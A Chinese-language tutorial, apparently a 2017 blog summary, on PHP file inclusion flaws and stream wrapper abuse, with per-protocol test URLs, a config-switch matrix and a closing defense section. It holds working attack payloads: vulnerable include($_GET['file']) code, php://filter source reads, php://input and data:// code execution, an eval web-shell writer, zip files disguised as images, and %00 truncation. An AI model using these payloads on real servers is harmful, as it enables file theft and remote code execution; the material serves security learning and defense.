文件包含与伪协议小总结(一)
本文是 2017 年写的一篇关于 PHP 文件包含漏洞和流包装器(stream wrapper)滥用的总结,最初发在「PHP 进阶学习」板块。原始的测试矩阵和结论在此保留,并在关键处用 note 标注了 PHP 版本变化和现代加固建议,方便对比参照。
涉及的协议包括 file://、php://filter、php://input、zip://、compress.bzip2://、compress.zlib:// 和 data://。后续会再写一篇深入各个包含函数的差异。
背景
先说下常见的文件包含函数:include、require、include_once、require_once、highlight_file、show_source、readfile、file_get_contents、fopen、file。本文重点关注 PHP 流包装器在这些函数中的行为,各个包含函数本身的差异后续再展开。
环境
涉及两个 PHP.ini 开关:
allow_url_fopen:默认On。开启后fopen包装器可以访问 URL 风格的文件对象。allow_url_include:默认Off。开启后include/require可以包含 URL 风格的文件对象。注意这个开关依赖于allow_url_fopen——单独开启allow_url_include而allow_url_fopen关闭是无效配置。
为了覆盖尽可能多的情况,测试横跨 PHP >=5.2——具体包括 5.2、5.3、5.5 和 7.0。更早的版本还容易受 %00 截断影响。
0x01 截断与否
用两个简单场景说明什么时候需要截断。
情况一:不需要截断
<?php
include($_GET['file'])
直接用 file:// 读取绝对路径:
http://127.0.0.1/test.php?file=file:///c:/users/Thinking/desktop/flag.txt

情况二:需要截断
当后端追加了后缀时,截断就派上用场了:
<?php
include($_GET['file'].'.php')
http://127.0.0.1/test.php?file=file:///c:/users/Thinking/desktop/flag.txt%00

0x02 allow_url_fopen 与 allow_url_include 的组合
file://
file:// 用于访问本地文件系统,CTF 中常用来读取本地文件,不受 allow_url_fopen 和 allow_url_include 影响。
| 设置 | 值 |
|---|---|
allow_url_fopen |
off / on |
allow_url_include |
off / on |
用法:file://[绝对路径和文件名]
http://127.0.0.1/cmd.php?file=file://D:/soft/phpStudy/WWW/phpcode.txt
php://
php:// 提供对各种 I/O 流的访问。CTF 中最常用的是 php://filter(读源码)和 php://input(执行 PHP 代码)。
并非所有 php:// 子协议都需要 allow_url_include。只有 php://input、php://stdin、php://memory 和 php://temp 需要 allow_url_include=on——php://filter 不需要。
php://filter
php://filter 读取源码并以 base64 编码输出。如果不编码,内容会被当作 PHP 执行,源码永远看不到。
| 设置 | 值 |
|---|---|
allow_url_fopen |
off / on |
allow_url_include |
off / on |
测试:
http://127.0.0.1/cmd.php?file=php://filter/read=convert.base64-encode/resource=./cmd.php


php://input
php://input 是一个只读流,可以读取 POST 的原始 body,从而将 POST 数据当作 PHP 代码执行。
| 设置 | 值 |
|---|---|
allow_url_fopen |
off / on |
allow_url_include |
on |
测试:
http://127.0.0.1/cmd.php?file=php://input
[POST DATA] <?php phpinfo()?>
也可以 POST 一句话写 shell:
<?php fputs(fopen("shell.php","w"),'<?php eval($_POST["cmd"]);?>');?>


zip://、bzip2://、zlib://
zip://、bzip2:// 和 zlib:// 是压缩流,可以访问压缩包内的文件,且不要求特定文件扩展名——当上传过滤只允许某些后缀时特别有用。
| 设置 | 值 |
|---|---|
allow_url_fopen |
off / on |
allow_url_include |
off / on |
参考:php.net - Compression Streams
zip://
用法:zip://[压缩包绝对路径]#[压缩包内子文件名]
http://127.0.0.1/cmd.php?file=zip://D:/soft/phpStudy/WWW/file.jpg%23phpcode.txt
操作步骤:把 PHP payload 写入 phpcode.txt,压缩成 file.zip。如果允许上传 zip 就直接传;否则把 file.zip 改名为 file.jpg 上传。其他压缩格式同理。
因为 # 在 URL 中是分隔 fragment 的符号,GET 请求中必须 URL 编码为 %23。另外注意这里只能用绝对路径,相对路径不行。

compress.bzip2://
用法:compress.bzip2://file.bz2
http://127.0.0.1/cmd.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg
或
http://127.0.0.1/cmd.php?file=compress.bzip2://./file.jpg

compress.zlib://
用法:compress.zlib://file.gz
http://127.0.0.1/cmd.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg
或
http://127.0.0.1/cmd.php?file=compress.zlib://./file.jpg

data://
在 PHP 5.2 / 5.3 / 5.5 / 7.0 上的测试确认,data:// 受 allow_url_fopen 约束。早期 PHP 文档标注为「NO」,这是文档 bug,后来已修正。要使用 data://,两个开关都必须开启。
| 设置 | 值 |
|---|---|
allow_url_fopen |
on |
allow_url_include |
on |
测试:
http://127.0.0.1/cmd.php?file=data://text/plain,<?php phpinfo()?>
或
http://127.0.0.1/cmd.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
也可以去掉 //:
http://127.0.0.1/cmd.php?file=data:text/plain,<?php phpinfo()?>
或
http://127.0.0.1/cmd.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=


0x03 总结
下表汇总了各协议在不同开关组合下的可用性(测试于 PHP >= 5.2,具体为 5.2 / 5.3 / 5.5 / 7.0):
| 协议 | 测试 PHP | allow_url_fopen | allow_url_include | 示例 |
|---|---|---|---|---|
file:// |
>=5.2 | off/on | off/on | ?file=file://D:/soft/phpStudy/WWW/phpcode.txt |
php://filter |
>=5.2 | off/on | off/on | ?file=php://filter/read=convert.base64-encode/resource=./index.php |
php://input |
>=5.2 | off/on | on | ?file=php://input [POST DATA] <?php phpinfo()?> |
zip:// |
>=5.2 | off/on | off/on | ?file=zip://D:/soft/phpStudy/WWW/file.zip%23phpcode.txt |
compress.bzip2:// |
>=5.2 | off/on | off/on | ?file=compress.bzip2://D:/soft/phpStudy/WWW/file.bz2 或 ?file=compress.bzip2://./file.bz2 |
compress.zlib:// |
>=5.2 | off/on | off/on | ?file=compress.zlib://D:/soft/phpStudy/WWW/file.gz 或 ?file=compress.zlib://./file.gz |
data:// |
>=5.2 | on | on | ?file=data://text/plain,<?php phpinfo()?> 或 ?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4= |

利用场景
文件包含漏洞的核心危害很直接:可控路径 + 可控协议 = 任意代码执行或任意文件读取。从协议层面看,攻击者通常按以下顺序尝试:
- 读源码:用
php://filter把目标 PHP 源码以 base64 导出,暴露应用逻辑、密钥和配置; - 写 shell:如果
allow_url_include=on,直接通过php://input或data://投递 payload;如果两者都关闭,结合上传点用zip:///bzip2:///zlib://绕过扩展名过滤; - 突破后缀追加:PHP < 5.3.4 用
%00截断;更老的 glibc 可溢出路径长度上限。
防御
- 白名单包含目标:对每个
include/require枚举允许的路径,不直接拼接用户输入到路径中; - 保持危险开关关闭:
allow_url_include=Off(默认值);仅在确实需要远程包含时才开启,并配合网络层白名单; - 升级 PHP:PHP 5.3.4+ 修复了
%00截断;PHP 7+ / 8.x 进一步收紧了伪协议行为和默认值; - 规范化路径:用
realpath()解析并验证结果在允许的前缀内;拒绝..和绝对路径; - 加固上传点:对上传做 MIME 检查、重命名,存放在隔离域中以化解
zip://等配合图片 shell 的攻击; - WAF / IDS 规则:URL 参数中出现
php://、data://、zip://、compress.时告警。
写在最后
当初写这篇总结的动机很简单——把各伪协议滥用的条件散落在各处的信息汇总到一张表里方便查阅。多年后回看,PHP 文件包含的根因从未改变:把用户输入当路径,就把钥匙交给了用户。协议在演进,开关在收紧,%00 截断已修复,但只要 include($_GET['file']) 存在,攻击面就存在。希望这篇总结能帮到刚入门安全的朋友——知己知彼,安我之防。